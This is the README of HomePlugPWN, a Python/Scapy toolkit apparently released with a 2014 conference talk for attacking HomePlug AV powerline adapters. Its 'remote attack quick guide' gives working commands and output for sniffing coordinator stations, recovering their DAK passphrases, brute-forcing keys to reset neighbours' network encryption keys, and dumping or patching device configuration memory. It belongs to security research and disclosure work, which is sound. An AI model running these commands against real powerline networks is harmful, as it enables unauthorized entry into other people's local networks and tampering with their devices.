HomePlugPWN

HomePlugAV PLC tools presented at NoSuchCon 2014: http://www.nosuchcon.org/talks/2014/D1_03_Sebastien_Dudek_HomePlugAV_PLC.pdf

Requirements

• Python >= 2.6
• Scapy 2.x
• Promiscous mode for Sniff Indicate packets

Tools

• HomeplugAV.py scapy Layer: create and craft your own HomePlugAV packets
• discover.py: sends 'GetDeviceTypeRequest' in broadcast to discover PLCs of the same AVLN
• genDAK.py: derives MAC address to get a Qualcomm DAK passhrase
• PBKDF1.py: hashes the DAK or NMK passhrase using the PBKDF1
• quickKODAK.py: performs a KODAK bruteforce on powerline
• plcmon.py: enables 'Sniffer mode' and uses Sniffer Indicate packet to retrieve CCos MAC address
• PIBdump.py: dumps your entire PLC configure (PIB) into a file
• patchPIB.py: patch arbitrary bytes of your PLC, or a field between bytes 0x0-0x400 (see the details of ModulePIB conditions in the Scapy layer).

Efficient remote attack quick guide

First we plug our device to the powerline and sniff for every possible CCo:

python plcmon.py 
[+] Enabling sniff mode
Sent 1 packets.
[+] Listening for CCo station...
	 Found CCo: 44:94:fc:56:ff:34 (DAK: RMHT-ILPO-TYMN-IIXY)
         [...]

The tool recovers also the DAK passphrase directly.

Too change the NMK of the CCos to have a chance to connect to neighbor(s) LAN, we can send the SetEncryptionKeyRequest to the CCos:

python quickKODAK.py -i eth0 -t 4494fc56ff34
Sent 1 packets.

If you want to reconfigure all device, skip 2-3 of the MAC address found previously as follows:

python quickKODAK.py -i eth0 -t 4494fc56
Sent 1 packets.

This will bruteforce the 2 last bytes, generating a new DAK and sending it in broadcast for every combinaison.

Dump the entire PIB

The following tool aims to dump the entire PIB. You could also use the same techniques to dump the NVM or the Soft-Bootloader...

To process the dump use it as follows:

python2 ./PIBdump.py -i enp0s26u1u1 -o mycpl.pib
[...]
[+] PIB dump: Success!

A file containing your PLC Programmable Information Blocks (PIB) should be created as follows:

wc -c mycpl.pib 
16440 mycpl.pib

Patch your PIB

If you want to change your MAC address for example, you can specify the Scapy attribute to modify and its new value:

python2 patchPIB.py -i enp0s26u1u1 -d <dest. MAC addr> -t "PIBMACAddr" -v "c0:ff:ee:c0:ff:ee"

The MAC address should be changed after that for your targeted device. But if the addresses are read-only for this device, you have to hack a little bit to reflash it correctly.

Nevertheless, if you want to change any arbitrary byte use this command as follows:

 python2 patchPIB.py -i enp0s26u1u1 -d <dest. MAC addr> -a <start_addr>:<len> -v <value>

Like this, you can rewrite the tone map and any other field of your choice ;)

Licence

HomePlugPWN tools including the HomePlugAV scapy Layer are under the GPLv2

Problems?

• Give us your feedback ;)

Acknowledgements

• Xavier Carcelle for his book (Power Line Communications in Practice), and his Framework FAIFA
• Ben Tasker for finding CCos MAC addresses in Sniff Indicate packets
• Open-PLC-Utils : https://github.com/qca/open-plc-utils
• Netgear and TP-Link utilities